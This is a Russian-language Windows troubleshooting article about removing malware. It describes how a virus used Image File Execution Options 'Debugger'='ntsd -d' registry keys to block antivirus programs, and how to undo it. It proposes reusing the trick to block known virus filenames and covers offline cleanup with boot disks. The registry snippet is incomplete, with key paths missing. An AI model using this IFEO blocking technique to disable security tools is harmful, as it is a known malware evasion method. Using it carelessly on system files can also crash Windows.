Удаление wuauclt.exe антивирусом без удаления записи в реестре приводит к невозможности запуска explorer.exe. В результате вы получаете пустой рабочий стол, без каких-либо кнопок и ярлыков. Выйти из положения можно используя комбинацию клавиш CTRL-ALT-DEL. Выбираете "Диспетчер задач" - "Новая задача" - "Обзор" - находите и запускаете редактор реестра regedit.exe. Затем удаляете ключ
HKM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe
и перезагружаетесь.

    В случае, когда вы точно знаете время заражения системы, откат на точку восстановления до этого события, является довольно надежным способом избавления от заразы. Иногда есть смысл выполнять не полный откат, а частичный, с восстановлением файла реестра SYSTEM, как это описано в статье "Проблемы с загрузкой ОС" раздела "Windows"

    == Май 2008. ==

Дополнение

    Это дополнение возникло через год после написания основной статьи. Здесь я решил разместить наиболее интересные решения, возникшие в процессе борьбы с вредоносным программным обеспечением. Что-то вроде коротких заметок.

После удаления вируса ни один антивирус не работает.

    Случай интересен тем, что способ блокировки антивирусного программного обеспечения можно использовать и в борьбе с исполняемыми файлами вирусов. Началось все с того, что после удаления довольно примитивного вируса не заработал лицензионный "Стрим Антивирус". Переустановки с чисткой реестра не помогли. Попытка установки Avira Antivir Personal Free закончилась успешно, но сам антивирус не запустился. В системном журнале было сообщение о таймауте при запуске службы "Avira Antivir Guard". Перезапуск вручную заканчивался той же ошибкой. Причем, никаких лишних процессов в системе не выполнялось. Была стопроцентная уверенность - вирусов, руткитов и прочей гадости (Malware) в системе нет.
    В какой-то момент попробовал запустить антивирусную утилиту AVZ . Принцип работы AVZ во многом основан на поиске в изучаемой системе разнообразных аномалий. С одной стороны, это помогает в поиске Malware, но с другой вполне закономерны подозрения к компонентам антивирусов, антишпионов и прочего легитимного ПО, активно взаимодействующего с системой. Для подавления реагирования AVZ на легитимные объекты и упрощения анализа результатов проверки системы за счет отметки легитимных объектов цветом и их фильтрации из логов, применяется база безопасных файлов AVZ. С недавнего времени запущен полностью автоматический сервис, позволяющий всем желающим прислать файлы для пополнения этой базы.
Но: исполняемый файл avz.exe не запустился! Переименовываю avz.exe в musor.exe - все прекрасно запускается. В очередной раз AVZ оказался незаменимым помощником в решении проблемы. При выполнении проверок в результатах появилась строки:

Опасно - отладчик процесса "avz.exe"="ntsd-d"
Опасно - отладчик процесса "avguard.exe"="ntsd-d"
:.

Это была уже серьезная зацепка. Поиск в реестре по контексту "avz" привел к обнаружению в ветке

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

Раздела с именем avz.exe , содержащем строковый параметр с именем "Debugger" и значением .
И, как выяснилось позже, в указанной ветке присутствовал не только раздел "avz.exe", но и разделы с именами исполняемых модулей практически всех известных антивирусов и некоторых утилит мониторинга системы. Сам ntsd.exe - вполне легальный отладчик Windows, стандартно присутствующий во всех версиях ОС, но подобная запись в реестре приводит к невозможности запуска приложения, имя исполняемого файла которого совпадает с именем раздела???.exe.

    После удаления из реестра всех разделов, c именем???.exe и содержащих запись "Debugger" = "ntsd -d" работоспособность системы полностью восстановилась.

В результате анализа ситуации с использованием параметра "ntsd -d" для блокировки запуска исполняемых файлов, появилась мысль использовать этот же прием для борьбы с самими вирусами. Конечно, это не панацея, но в какой-то степени может снизить угрозу заражения компьютера вирусами с известными именами исполняемых файлов. Для того, чтобы в системе невозможно было выполнить файлы с именами ntos.exe, file.exe, system32.exe и т.п. можно создать reg-файл для импорта в реестр:

Windows Registry Editor Version 5.00

"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
"Debugger"="ntsd -d"
:.. и т.д.

Обратите внимание, на то, что имя раздела не содержат пути файла, поэтому данный способ нельзя применять для файлов вирусов, имена которых совпадают с именами легальных исполняемых файлов, но сами файлы нестандартно размещены в файловой системе. Например, проводник Explorer.exe находится в папке \WINDOWS\, а вирус располагается где-то в другом месте - в корне диска, в папке \temp, \windows\system32\ Если вы создадите раздел с именем "Explorer.exe" - то после входа в систему вы получите пустой рабочий стол, поскольку проводник не запустится. Хуже того, если вы создадите раздел, имя которого совпадает с именем системной службы (winlogon.exe, csrss.exe, smss.exe, services.exe, lsass.exe), то получите рухнувшую систему. Если вирус находится в C:\temp\winlogon.exe, а легальный модуль входа в систему C:\WINDOWS\SYSTEM32\winlogon.exe, создание раздела с именем winlogon.exe приведет к невозможности запуска службы winlogon и краху системы с синим экраном смерти (BSOD).

    Но, все же, надеяться на то, что запрашиваемый вирусом код, подойдет в каждом конкретном случае, не стоит. Как не стоит надеяться на честное самоуничтожение вируса, и тем более, не стоит отправлять СМС. Любой вирус можно удалить, даже если он не обнаруживается антивирусами. Методики удаления вируса-вымогателя ничем не отличаются от методик удаления любого другого вредоносного ПО, с одним, пожалуй, отличием - не стоит тратить время на попытки справиться с дрянью в среде зараженной системы, разве что для развития собственных навыков и пополнения знаний.

Наиболее простой и эффективный путь - загрузиться с использованием другой, незараженной системы и, подключившись к зараженной, удалить файлы вируса и исправить внесенные им записи в реестре. Об этом я уже писал выше, в основной части статьи, а здесь попытаюсь просто изложить несколько кратких вариантов удаления вируса.

Использование Dr.Web LiveCD - самый простой и не требующий специальных знаний способ. Скачиваете iso-образ CD, записываете его на болванку, загружаетесь с CD-ROM и запускаете сканер.

Использование Winternals ERD Commander. Загружаетесь с него, подключившись к зараженной системе, и выполняете откат на контрольную точку восстановления с датой, когда заражения еще не было. Выбираете меню System Tools - System Restore . Если откат средствами ERD Commander"а выполнить невозможно, попробуйте вручную найти файлы реестра в данных контрольных точек и восстановить их в каталог Windows. Как это сделать я подробно описал в статье "Работа с реестром".

Загрузка в другой ОС и ручное удаление вируса. Самый сложный, но самый эффективный способ. В качестве другой ОС удобнее всего использовать тот же ERD Commander. Методика обнаружения и удаления вируса может быть следующей:

Переходите на диск зараженной системы и просматриваете системные каталоги на наличие исполняемых файлов и файлов драйверов с датой создания близкой к дате заражения. Перемещаете эти файлы в отдельную папку. Обратите внимание на каталоги

\Windows
\Windows\system32
\Windows\system32\drivers
\Windows\Tasks\
\RECYCLER
\System Volume Information
Каталоги пользователей \Documents And Settings\All Users и \Documents And Settings\имя пользователя

Очень удобно использовать для поиска таких файлов FAR Manager, с включенной сортировкой по дате для панели, где отображается содержимое каталога (комбинация CTRL-F5). Особое внимание стоит обратить на скрытые исполняемые файлы. Существует также эффективная и простая утилита от Nirsoft - SearchMyFiles, применение которой позволяет, в подавляющем большинстве случаев, легко обнаружить вредоносные файлы даже без использования антивируса. Способ обнаружения вредоносных файлов по времени создания (Creation time)

Подключаетесь к реестру зараженной системы и ищете в нем ссылки на имена этих файлов. Сам реестр не мешает предварительно скопировать (полностью или, по крайней мере, те части, где встречаются выше указанные ссылки). Сами ссылки удаляете или изменяете в них имена файлов на другие, например - file.exe на file.ex_, server.dll на server.dl_, driver.sys на driver.sy_.

Данный способ не требует особых знаний и в случаях, когда вирус не меняет дату модификации своих файлов (а это пока встречается очень редко) - дает положительный эффект. Даже если вирус не обнаруживается антивирусами.

Если предыдущие методики не дали результата, остается одно - ручной поиск возможных вариантов запуска вируса. В меню Administrative Tools ERD Commander"а имеются пункты:

Autoruns - информация о параметрах запуска приложений и оболочке пользователя.
Service and Driver Manager - информация о службах и драйверах системы.

- В качестве продолжения темы - как избавиться от вирусов с помощью стандартных средств операционной системы Windows Vista \ Windows 7. Использование безопасного режима с поддержкой командной строки.

Использование загрузочного диска Winternals ERD Commander - Подробная инструкция по применению диска аварийного восстановления системы, созданного на базе Microsoft Diagnostic and Recovery Toolset (MS DaRT) .

Сайт Олега Зайцева, автора AVZ. - Посвящен информационной безопасности, и в частности - применению одной из наиболее эффективных антивирусных утилит AVZ.

Восстановление системы после вирусного заражения Как восстановить работоспособность Windows после удаления вируса, повредившего некоторые настройки. Помогает в случаях, когда не запускаются программы, при подмене страниц, открываемых обозревателем, подмене домашней страницы, страницы поиска, при изменении настроек рабочего стола, невозможности запуска редактора реестра, отсутствии доступа в Интернет, недоступности некоторых сайтов и т.п.